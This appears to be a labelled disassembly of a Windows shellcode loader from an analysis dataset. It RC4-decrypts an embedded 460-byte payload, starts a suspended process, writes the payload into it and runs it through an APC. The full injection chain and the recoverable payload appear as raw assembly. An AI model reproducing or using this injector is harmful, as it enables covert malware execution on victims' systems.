Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x900]
sub rsp, 0xa00
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x8d0], rax
mov rdi, rdx
mov ebx, ecx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Muchas_variables_creadas_sin_propsito.
call fcn.140001b60
mov rcx, rax
lea rdx, [0x140001d40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 2
je 0x1400010d9
mov edx, ebx
lea rcx, str.____Nmero_de_argumentos_incorrecto._Se_esperaba_2__se_recibieron__d._n
call fcn.140001010
mov eax, 1
jmp 0x140001b37
mov qword [rsp + 0x9f8], r12
mov dword [rbp + 0x700], 0x133fd608
mov dword [rbp + 0x704], 0x9040ceee
mov dword [rbp + 0x708], 0x2d346cbb
mov dword [rbp + 0x70c], 0xec5245d2
mov dword [rbp + 0x710], 0x1d13add1
mov dword [rbp + 0x714], 0xd2950303
mov dword [rbp + 0x718], 0x53fbf98
mov dword [rbp + 0x71c], 0xfcc6c476
mov dword [rbp + 0x720], 0x77a9e7a8
mov dword [rbp + 0x724], 0x55c37856
mov dword [rbp + 0x728], 0xbdf6df3a
mov dword [rbp + 0x72c], 0x58f71228
mov dword [rbp + 0x730], 0x4a8ed559
mov dword [rbp + 0x734], 0xd09fc943
mov dword [rbp + 0x738], 0xb350a9c4
mov dword [rbp + 0x73c], 0xfa1ae66c
mov dword [rbp + 0x740], 0x95756cfb
mov dword [rbp + 0x744], 0x8e8c8580
mov dword [rbp + 0x748], 0xb1946bcc
mov dword [rbp + 0x74c], 0xa9da92f2
mov dword [rbp + 0x750], 0xa82ecee
mov dword [rbp + 0x754], 0xe4c4e348
mov dword [rbp + 0x758], 0x1ab481fa
mov dword [rbp + 0x75c], 0x7ce45b9d
mov dword [rbp + 0x760], 0xc31cb56b
mov dword [rbp + 0x764], 0x4f4a7193
mov dword [rbp + 0x768], 0xb3d804b4
mov dword [rbp + 0x76c], 0x7b10b7d9
mov dword [rbp + 0x770], 0x2367f8f5
mov dword [rbp + 0x774], 0xc2a9eb65
mov dword [rbp + 0x778], 0x6a5d1cd1
mov dword [rbp + 0x77c], 0x3912aea2
mov dword [rbp + 0x780], 0xb5bc3ab3
mov dword [rbp + 0x784], 0xd6bfcf0b
mov dword [rbp + 0x788], 0x4018ad34
mov dword [rbp + 0x78c], 0x5051b245
mov dword [rbp + 0x790], 0xb2b0a9c4
mov dword [rbp + 0x794], 0xc4374ad1
mov dword [rbp + 0x798], 0x2ec62f97
mov dword [rbp + 0x79c], 0x5f0d9f0e
mov dword [rbp + 0x7a0], 0x701164a0
mov dword [rbp + 0x7a4], 0x444bbd58
mov dword [rbp + 0x7a8], 0x90f4f1f1
mov dword [rbp + 0x7ac], 0xa7f8d76f
mov dword [rbp + 0x7b0], 0x5216f159
mov dword [rbp + 0x7b4], 0xed81f2a2
mov dword [rbp + 0x7b8], 0x39182fab
mov dword [rbp + 0x7bc], 0x2a428a0d
mov dword [rbp + 0x7c0], 0xadc97690
mov dword [rbp + 0x7c4], 0xd6f9ff04
mov dword [rbp + 0x7c8], 0x16e2a647
mov dword [rbp + 0x7cc], 0x9e99494
mov dword [rbp + 0x7d0], 0x1b877510
mov dword [rbp + 0x7d4], 0xbd20a704
mov dword [rbp + 0x7d8], 0x5fd167ff
mov dword [rbp + 0x7dc], 0x45930980
mov dword [rbp + 0x7e0], 0x304f793d
mov dword [rbp + 0x7e4], 0x3f5ee529
mov dword [rbp + 0x7e8], 0x23428237
mov dword [rbp + 0x7ec], 0xb6b9831f
mov dword [rbp + 0x7f0], 0x6bb44d70
mov dword [rbp + 0x7f4], 0xdf6fd796
mov dword [rbp + 0x7f8], 0x617bf072
mov dword [rbp + 0x7fc], 0x8158f19e
mov dword [rbp + 0x800], 0x554fe9fe
mov dword [rbp + 0x804], 0xe4da862c
mov dword [rbp + 0x808], 0x57b4ec7
mov dword [rbp + 0x80c], 0x5fbd7d54
mov dword [rbp + 0x810], 0x966030c3
mov dword [rbp + 0x814], 0xc6f23b51
mov dword [rbp + 0x818], 0x5c8761f3
mov dword [rbp + 0x81c], 0x83e494b
mov dword [rbp + 0x820], 0x41a0957c
mov dword [rbp + 0x824], 0x3c87bf06
mov dword [rbp + 0x828], 0xfb1519c5
mov dword [rbp + 0x82c], 0xe2327028
mov dword [rbp + 0x830], 0x6f172751
mov dword [rbp + 0x834], 0x39323761
mov dword [rbp + 0x838], 0xb88acc3
mov dword [rbp + 0x83c], 0xfaf78d7c
mov edx, 0x1cc
mov dword [rbp + 0x840], 0xfde0de84
lea rcx, str._DEBUG__Tamao_del_cdigo:__zu_bytes_n
mov dword [rbp + 0x844], 0x19697f0b
mov dword [rbp + 0x848], 0x90dad84e
mov dword [rbp + 0x84c], 0x88a25a84
mov dword [rbp + 0x850], 0xd38637a9
mov dword [rbp + 0x854], 0x14ea6c51
mov dword [rbp + 0x858], 0xdca17471
mov dword [rbp + 0x85c], 0x327b9bac
mov dword [rbp + 0x860], 0xb0d4d989
mov dword [rbp + 0x864], 0x49a47aad
mov dword [rbp + 0x868], 0x4f009f76
mov dword [rbp + 0x86c], 0xa9e4a24a
mov dword [rbp + 0x870], 0xac78bd08
mov dword [rbp + 0x874], 0x224e492b
mov dword [rbp + 0x878], 0x7788afe8
mov dword [rbp + 0x87c], 0xafa8cb17
mov dword [rbp + 0x880], 0x6661d598
mov dword [rbp + 0x884], 0x203e1ecd
mov dword [rbp + 0x888], 0x716eb208
mov dword [rbp + 0x88c], 0xd217e9c2
mov dword [rbp + 0x890], 0xace9aa44
mov dword [rbp + 0x894], 0x748cf04b
mov dword [rbp + 0x898], 0x1d569a31
mov dword [rbp + 0x89c], 0x9d3c1af
mov dword [rbp + 0x8a0], 0x122450da
mov dword [rbp + 0x8a4], 0xfe0643ab
mov dword [rbp + 0x8a8], 0xbecf180a
mov dword [rbp + 0x8ac], 0xaab441f7
mov dword [rbp + 0x8b0], 0xb39d2a7f
mov dword [rbp + 0x8b4], 0xb9892d33
mov dword [rbp + 0x8b8], 0x72137d24
mov dword [rbp + 0x8bc], 0x297fdf2
mov dword [rbp + 0x8c0], 0xd2f403cb
mov dword [rbp + 0x8c4], 0xc3ba01fc
mov dword [rbp + 0x8c8], 0xa2f1dcf2
call fcn.140001010
movsd xmm1, qword [0x140003858]
lea r10, [rbp + 0x350]
movss xmm2, dword [0x140003854]
xor r12d, r12d
mov r8d, r12d
mov r9d, r12d
movd xmm0, r8d
mov eax, 0x4ec4ec4f
mov dword [rsp + r9*4 + 0x50], r8d
lea r9, [r9 + 1]
imul r8d
cvtdq2pd xmm0, xmm0
lea r10, [r10 + 8]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
mulsd xmm0, xmm1
movsx eax, dl
imul ecx, eax, 0x1a
movzx eax, r8b
movsd qword [r10 - 8], xmm0
movd xmm0, r8d
sub al, cl
add al, 0x41
mov byte [rbp + r9 + 0xdf], al
movzx eax, r8b
cvtdq2ps xmm0, xmm0
not al
inc r8d
and al, 1
mov byte [rbp + r9 + 0x14f], al
mulss xmm0, xmm2
movss dword [rbp + r9*4 + 0x1bc], xmm0
cmp r8d, 0x64
jl 0x140001590
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.500_variables_creadas_sin_propsito_real.
call fcn.140001b60
mov rcx, rax
lea rdx, [0x140001d40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x1cc
lea rcx, str.___Tamao_del_cdigo_es_mayor_que_cero:__zu_n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rbp + 0x690], 0x68
xor eax, eax
lea rcx, str.___La_estructura_STARTUPINFOA_fue_inicializada_correctamente._n
movups xmmword [rbp + 0x694], xmm0
mov dword [rbp + 0x6f4], eax
movups xmmword [rbp + 0x6a4], xmm0
movups xmmword [rbp + 0x6b4], xmm0
movups xmmword [rbp + 0x6c4], xmm0
movups xmmword [rbp + 0x6d4], xmm0
movups xmmword [rbp + 0x6e4], xmm0
call fcn.140001010
xorps xmm0, xmm0
lea rcx, str.___La_estructura_PROCESS_INFORMATION_fue_inicializada_correctamente._n
xor eax, eax
movups xmmword [rbp + 0x670], xmm0
mov qword [rbp + 0x680], rax
call fcn.140001010
mov rcx, qword [rdi + 8]
lea rax, [rbp + 0x670]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x690]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001b16
mov qword [rsp + 0x9e8], r14
lea rcx, str.___Proceso_suspendido_creado_exitosamente._n
mov qword [rsp + 0xa30], rsi
mov qword [rsp + 0x9e0], r15
call fcn.140001010
mov r14, qword [rbp + 0x670]
test r14, r14
je 0x140001aee
lea rcx, str.___El_handle_del_proceso_es_vlido._n
call fcn.140001010
mov rsi, qword [rbp + 0x678]
test rsi, rsi
je 0x140001ae5
lea rcx, str.___El_handle_del_hilo_es_vlido._n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1cc
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140001acf
lea rcx, str.___Memoria_asignada_en_el_proceso_remoto._n
mov qword [rsp + 0x9f0], r13
call fcn.140001010
mov ebx, r12d
lea r13, str.true
mov rdi, r12
nop word [rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x50]
lea rcx, str.intVars__d____d_n
mov edx, ebx
call fcn.140001010
movsd xmm2, qword [rbp + rdi*8 + 0x350]
lea rcx, str.doubleVars__d____.2f_n
movq r8, xmm2
mov edx, ebx
call fcn.140001010
movsx r8d, byte [rbp + rdi + 0xe0]
lea rcx, str.charVars__d____c_n
mov edx, ebx
call fcn.140001010
movss xmm2, dword [rbp + rdi*4 + 0x1c0]
lea rcx, str.floatVars__d____.1f_n
cvtps2pd xmm2, xmm2
mov edx, ebx
movq r8, xmm2
call fcn.140001010
cmp byte [rbp + rdi + 0x150], r12b
lea r8, str.false
mov edx, ebx
lea rcx, str.boolVars__d____s_n
cmovne r8, r13
call fcn.140001010
inc ebx
lea rdi, [rdi + 1]
cmp ebx, 0xc8
jl 0x1400017a0
mov r13, qword [rsp + 0x9f0]
lea rcx, str.1000_variables_creadas_sin_propsito_real._n
call fcn.140001010
lea rcx, str.___La_rutina_APC_fue_asignada_correctamente._n
call fcn.140001010
movdqa xmm2, xmmword [0x140003860]
lea rdx, [rsp + 0x54]
movdqa xmm3, xmmword [0x140003870]
mov ecx, 8
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x10]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
lea eax, [rcx + 4]
paddd xmm1, xmm2
andps xmm0, xmm3
andps xmm1, xmm3
packuswb xmm0, xmm0
packuswb xmm1, xmm1
packuswb xmm0, xmm0
movd dword [rdx - 0x14], xmm0
packuswb xmm1, xmm1
movd dword [rdx - 0x10], xmm1
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
andps xmm0, xmm3
paddd xmm1, xmm2
packuswb xmm0, xmm0
andps xmm1, xmm3
packuswb xmm0, xmm0
movd dword [rdx - 0xc], xmm0
lea eax, [rcx - 8]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx - 8], xmm1
cmp eax, 0x100
jl 0x140001880
lea rcx, str._DEBUG__Inicializacin_de_la_matriz_S_completada._n
call fcn.140001010
xor dl, dl
lea r9, [rsp + 0x50]
mov r8d, r12d
lea r11, str.system32
nop
movzx r10d, byte [r9]
mov eax, r8d
and eax, 7
movzx edx, dl
movsx ecx, byte [rax + r11]
add ecx, r10d
add edx, ecx
and edx, 0x800000ff
jge 0x140001959
dec edx
or edx, 0xffffff00
inc edx
movzx ecx, dl
inc r8d
movzx eax, byte [rsp + rcx + 0x50]
mov byte [r9], al
inc r9
mov byte [rsp + rcx + 0x50], r10b
cmp r8d, 0x100
jl 0x140001930
lea rcx, str._DEBUG__Permutacin_de_la_matriz_S_completada._n
call fcn.140001010
mov r9d, r12d
lea r10, [rbp + 0x700]
xor r11b, r11b
mov ebx, r12d
inc r9d
and r9d, 0x800000ff
jge 0x1400019ad
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd r8, r9d
inc ebx
movzx edx, byte [rsp + r8 + 0x50]
add r11b, dl
movzx ecx, r11b
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rsp + r8 + 0x50], al
mov byte [rsp + rcx + 0x50], dl
movzx ecx, byte [rsp + r8 + 0x50]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x50]
xor byte [r10], cl
inc r10
cmp ebx, 0x1cc
jb 0x140001994
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Decrypted:
call fcn.140001b60
mov rbx, r12
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbp + rbx + 0x700]
lea rcx, str.x_02x
call fcn.140001010
inc rbx
cmp rbx, 0x1cc
jb 0x140001a10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001d40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x1cc
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x700]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ab9
lea rcx, str.___Cdigo_escrito_en_la_memoria_del_proceso_remoto._n
call fcn.140001010
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x140001aa3
lea rcx, str.___APC_encolada_exitosamente._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.___Hilo_resumido._Has_ganado._n
jmp 0x140001af5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_encolar_la_APC:__lu_n
call fcn.140001010
jmp 0x140001afa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_escribir_en_la_memoria_del_proceso_remoto:__lu_n
call fcn.140001010
jmp 0x140001afa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_asignar_memoria_en_el_proceso_remoto:__lu_n
call fcn.140001010
jmp 0x140001afa
lea rcx, str.____El_handle_del_hilo_no_es_vlido._n
jmp 0x140001af5
lea rcx, str.____El_handle_del_proceso_no_es_vlido._n
call fcn.140001010
mov r15, qword [rsp + 0x9e0]
xor eax, eax
mov r14, qword [rsp + 0x9e8]
mov rsi, qword [rsp + 0xa30]
jmp 0x140001b2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_crear_el_proceso_suspendido:__lu_n
call fcn.140001010
mov eax, 1
mov r12, qword [rsp + 0x9f8]
mov rcx, qword [rbp + 0x8d0]
xor rcx, rsp
call fcn.140001e00
add rsp, 0xa00
pop rdi
pop rbx
pop rbp
ret